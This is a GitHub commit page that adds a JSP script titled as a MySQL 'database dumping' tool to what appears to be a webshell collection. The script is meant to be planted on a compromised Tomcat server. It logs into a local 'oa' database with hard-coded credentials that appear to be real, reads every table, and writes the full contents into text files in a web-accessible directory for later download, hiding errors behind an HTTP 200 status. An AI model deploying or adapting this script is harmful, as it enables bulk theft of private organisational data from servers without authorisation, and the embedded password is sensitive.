Skip to content

Commit

Permalink
update jsp
Browse files Browse the repository at this point in the history
  • Loading branch information
tennc committed Jul 22, 2013
1 parent e3ca3b3 commit 6faad04
Show file tree
Hide file tree
Showing 29 changed files with 13,147 additions and 0 deletions.
89 changes: 89 additions & 0 deletions drag/mysql_jsp脱裤.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,89 @@
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="java.io.*" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
try {
//±¸·ގļ�ľ�¾¶
String backupDir = "/home/tomcat-oa/webapps/ROOT/video/ab1/";
String ex=".txt";
String driver = "com.mysql.jdbc.Driver";

String url = "jdbc:mysql://localhost:3306/oa";
String username = "oa";
String password = "LOa2(2.DX,v>15^td8nWe!L";

Class.forName(driver);
Connection conn = DriverManager.getConnection(url, username, password);

// Get tables
DatabaseMetaData dmd = conn.getMetaData();
ResultSet rs = dmd.getTables(null, null, "%", null);
ArrayList<String> tables = new ArrayList<String>();
while (rs.next()) {
tables.add(rs.getString(3));
}
rs.close();



ResultSetMetaData rsmd = null;
Statement stmt = conn.createStatement();
for (String table : tables) {

rs = stmt.executeQuery("SHOW CREATE TABLE " + table);
rsmd = rs.getMetaData();
while (rs.next()) {
/*
* mysql> SHOW CREATE TABLE t\G
*************************** 1. row ***************************
* Table: t
* Create Table: CREATE TABLE t (
* id int(11) default NULL auto_increment,
* s char(60) default NULL,
* PRIMARY KEY (id)
* ) TYPE=MyISAM
*/
// JDBC is 1-based, Java is not !?
// osw.append(rs.getString(2) + "\n\n");
}
rs.close();

out.println("Dumping data for table " + table + "...<br />");
OutputStreamWriter osw = new OutputStreamWriter(new FileOutputStream(backupDir+table+ex), "UTF-8");
BufferedWriter bw=new BufferedWriter(osw);
rs = stmt.executeQuery("SELECT * FROM " + table);
rsmd = rs.getMetaData();
while (rs.next()) {
bw.append("INSERT INTO " + table + " VALUES(");
// JDBC is 1-based, Java is not !?
for (int col = 1; col <= rsmd.getColumnCount(); col++) {
bw.append("'");
if (rs.getString(col) == null)
bw.append("");
else
bw.append(rs.getString(col));
if (col == rsmd.getColumnCount())
bw.append("'");
else
bw.append("',");
}
bw.append(");");
bw.newLine();
}
bw.flush();
bw.close();
osw.close();
rs.close();
}
stmt.close();

out.println("backup is ok");

conn.close();
} catch (Exception e) {
response.setStatus(200);
e.printStackTrace();
}
out.println("<p><h3>finished</h3></p>");
%>
Loading

0 comments on commit 6faad04

Please sign in to comment.